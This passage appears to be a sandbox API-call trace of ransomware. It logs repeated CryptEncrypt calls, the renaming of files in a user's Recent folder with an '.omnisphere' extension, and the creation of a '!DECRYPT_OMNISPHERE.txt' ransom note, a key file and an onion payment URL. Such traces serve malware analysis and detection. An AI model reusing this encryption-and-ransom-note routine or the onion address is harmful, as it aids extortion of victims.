pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.619] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.620] CryptDestroyKey (hKey=0x1639868) returned 1 [0127.620] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0127.621] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3e4, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.621] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.621] GetProcessHeap () returned 0x1600000 [0127.621] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a6) returned 0x16f20e8 [0127.621] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z -FpX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\z -fpx.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z -FpX.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\z -fpx.lnk.omnisphere")) returned 1 [0127.621] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z -FpX.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z -FpX.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z -FpX.lnk.omnisphere.id" [0127.621] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z -FpX.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\z -fpx.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.622] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.623] CloseHandle (hObject=0x3c0) returned 1 [0127.623] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.623] CloseHandle (hObject=0x288) returned 1 [0127.623] SetEndOfFile (hFile=0x28c) returned 1 [0127.623] FlushFileBuffers (hFile=0x28c) returned 1 [0127.628] CloseHandle (hObject=0x28c) returned 1 [0127.629] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z -FpX.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.629] GetProcessHeap () returned 0x1600000 [0127.629] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f4398 [0127.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.629] GetProcessHeap () returned 0x1600000 [0127.629] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1d70 [0127.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1d70, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.629] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.629] GetProcessHeap () returned 0x1600000 [0127.629] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710740 [0127.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710740, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.629] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.629] GetProcessHeap () returned 0x1600000 [0127.629] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f6158 [0127.629] PathCombineW (in: pszDest=0x16f6158, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.629] GetProcessHeap () returned 0x1600000 [0127.629] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1707418 [0127.629] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.629] WriteFile (in: hFile=0x28c, lpBuffer=0x1707418*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1707418*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.630] CloseHandle (hObject=0x28c) returned 1 [0127.630] GetProcessHeap () returned 0x1600000 [0127.630] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4398 | out: hHeap=0x1600000) returned 1 [0127.630] GetProcessHeap () returned 0x1600000 [0127.630] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.630] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.630] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.630] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.630] CloseHandle (hObject=0x28c) returned 1 [0127.630] GetProcessHeap () returned 0x1600000 [0127.630] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.630] GetProcessHeap () returned 0x1600000 [0127.630] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b8a8 | out: hHeap=0x1600000) returned 1 [0127.630] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec7f8333, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x22c6dfcb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x22c6dfcb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x37b, dwReserved0=0x0, dwReserved1=0xd3, cFileName="z2EYOFw6GdqJzJtq.lnk", cAlternateFileName="Z2EYOF~1.LNK")) returned 1 [0127.631] GetProcessHeap () returned 0x1600000 [0127.631] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xaa) returned 0x16f67d0 [0127.631] PathCombineW (in: pszDest=0x16f67d0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="z2EYOFw6GdqJzJtq.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\z2EYOFw6GdqJzJtq.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\z2EYOFw6GdqJzJtq.lnk" [0127.631] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.631] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\z2EYOFw6GdqJzJtq.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\z2eyofw6gdqjzjtq.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.631] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=891) returned 1 [0127.631] GetTickCount () returned 0x115fd87 [0127.631] GetTickCount () returned 0x115fd87 [0127.631] GetTickCount () returned 0x115fd87 [0127.631] GetTickCount () returned 0x115fd87 [0127.631] GetTickCount () returned 0x115fd87 [0127.631] GetTickCount () returned 0x115fd87 [0127.631] GetTickCount () returned 0x115fd87 [0127.631] GetTickCount () returned 0x115fd87 [0127.631] GetTickCount () returned 0x115fd87 [0127.631] GetTickCount () returned 0x115fd87 [0127.631] GetTickCount () returned 0x115fd87 [0127.631] GetTickCount () returned 0x115fd87 [0127.631] GetTickCount () returned 0x115fd87 [0127.631] GetTickCount () returned 0x115fd87 [0127.631] GetTickCount () returned 0x115fd87 [0127.631] GetTickCount () returned 0x115fd87 [0127.631] GetTickCount () returned 0x115fd87 [0127.631] GetTickCount () returned 0x115fd87 [0127.632] GetTickCount () returned 0x115fd87 [0127.632] GetTickCount () returned 0x115fd87 [0127.632] GetTickCount () returned 0x115fd87 [0127.632] GetTickCount () returned 0x115fd87 [0127.632] GetTickCount () returned 0x115fd87 [0127.632] GetTickCount () returned 0x115fd87 [0127.632] GetTickCount () returned 0x115fd87 [0127.632] GetTickCount () returned 0x115fd87 [0127.632] GetTickCount () returned 0x115fd87 [0127.632] GetTickCount () returned 0x115fd87 [0127.632] GetTickCount () returned 0x115fd87 [0127.632] GetTickCount () returned 0x115fd87 [0127.632] GetTickCount () returned 0x115fd87 [0127.632] GetTickCount () returned 0x115fd87 [0127.632] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16683d8) returned 1 [0127.632] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0127.633] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.633] CryptDestroyKey (hKey=0x1639868) returned 1 [0127.633] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0127.633] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x37b, lpName=0x0) returned 0x288 [0127.633] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x37b) returned 0x1480000 [0127.633] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668bd0) returned 1 [0127.633] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0127.634] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.634] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, 